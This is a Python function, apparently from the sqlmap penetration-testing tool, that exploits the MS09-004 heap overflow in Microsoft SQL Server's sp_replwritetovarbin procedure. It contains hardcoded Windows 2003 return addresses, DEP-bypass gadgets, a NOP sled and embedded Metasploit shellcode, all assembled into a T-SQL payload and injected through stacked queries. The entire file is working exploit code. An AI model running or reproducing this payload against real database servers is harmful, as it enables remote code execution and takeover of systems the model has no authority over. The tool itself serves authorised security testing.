'References:
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
* http://support.microsoft.com/kb/959420'

def spHeapOverflow(self):

    returns = {'2003-0': '', '2003-1': ('CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)', 'CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)', 'CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)', 'CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)', 'CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)', 'CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)', 'CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)', 'CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)'), '2003-2': ('CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)', 'CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)', 'CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)', 'CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)', 'CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)', 'CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)', 'CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)', 'CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)')}
    addrs = None
    for (versionSp, data) in returns.items():
        (version, sp) = versionSp.split('-')
        sp = int(sp)
        if ((Backend.getOsVersion() == version) and (Backend.getOsServicePack() == sp)):
            addrs = data
            break
    if (not addrs):
        errMsg = 'sqlmap    can    not    exploit    the    stored    procedure    buffer    '
        errMsg += 'overflow    because    it    does    not    have    a    valid    return    '
        errMsg += 'code    for    the    underlying    operating    system    (Windows    '
        errMsg += ('%s    Service    Pack    %d)' % (Backend.getOsVersion(), Backend.getOsServicePack()))
        raise SqlmapUnsupportedFeatureException(errMsg)
    shellcodeChar = ''
    hexStr = binascii.hexlify(self.shellcodeString[:(-1)])
    for hexPair in xrange(0, len(hexStr), 2):
        shellcodeChar += ('CHAR(0x%s)+' % hexStr[hexPair:(hexPair + 2)])
    shellcodeChar = shellcodeChar[:(-1)]
    self.spExploit = ("DECLARE    @buf    NVARCHAR(4000),\n                                @val    NVARCHAR(4),\n                                @counter    INT\n                                SET    @buf    =    '\n                                DECLARE    @retcode    int,    @end_offset    int,    @vb_buffer    varbinary,    @vb_bufferlen    int\n                                EXEC    master.dbo.sp_replwritetovarbin    347,    @end_offset    output,    @vb_buffer    output,    @vb_bufferlen    output,'''\n                                SET    @val    =    CHAR(0x41)\n                                SET    @counter    =    0\n                                WHILE    @counter    <    3320\n                                BEGIN\n                                        SET    @counter    =    @counter    +    1\n                                        IF    @counter    =    411\n                                        BEGIN\n                                                /*    pointer    to    call    [ecx+8]    */\n                                                SET    @buf    =    @buf    +    %s\n\n                                                /*    push    ebp,    pop    esp,    ret    4    */\n                                                SET    @buf    =    @buf    +    %s\n\n                                                /*    push    ecx,    pop    esp,    pop    ebp,    retn    8    */\n                                                SET    @buf    =    @buf    +    %s\n\n                                                /*    Garbage    */\n                                                SET    @buf    =    @buf    +    CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)\n\n                                                /*    retn    1c    */\n                                                SET    @buf    =    @buf    +    %s\n\n                                                /*    retn    1c    */\n                                                SET    @buf    =    @buf    +    %s\n\n                                                /*    anti    DEP    */\n                                                SET    @buf    =    @buf    +    %s\n\n                                                /*    jmp    esp    */\n                                                SET    @buf    =    @buf    +    %s\n\n                                                /*    jmp    esp    */\n                                                SET    @buf    =    @buf    +    %s\n\n                                                SET    @buf    =    @buf    +    CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)\n                                                SET    @buf    =    @buf    +    CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)\n                                                SET    @buf    =    @buf    +    CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)\n                                                SET    @buf    =    @buf    +    CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)\n                                                SET    @buf    =    @buf    +    CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)\n                                                SET    @buf    =    @buf    +    CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)\n\n                                                set    @buf    =    @buf    +    CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)\n                                                set    @buf    =    @buf    +    CHAR(0x8B)+CHAR(0xEC)\n                                                set    @buf    =    @buf    +    CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)\n\n                                                /*    Metasploit    shellcode    */\n                                                SET    @buf    =    @buf    +    %s\n\n                                                SET    @buf    =    @buf    +    CHAR(0x6a)+CHAR(0x00)+char(0xc3)\n                                                SET    @counter    =    @counter    +    302\n                                                SET    @val    =        CHAR(0x43)\n                                                CONTINUE\n                                        END\n                                        SET    @buf    =    @buf    +    @val\n                                END\n                                SET    @buf    =    @buf    +    ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''\n                                EXEC    master..sp_executesql    @buf\n                                " % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar))
    self.spExploit = self.spExploit.replace('                ', '').replace('\n', '    ')
    logger.info('triggering    the    buffer    overflow    vulnerability,    please    wait..')
    inject.goStacked(self.spExploit, silent=True)
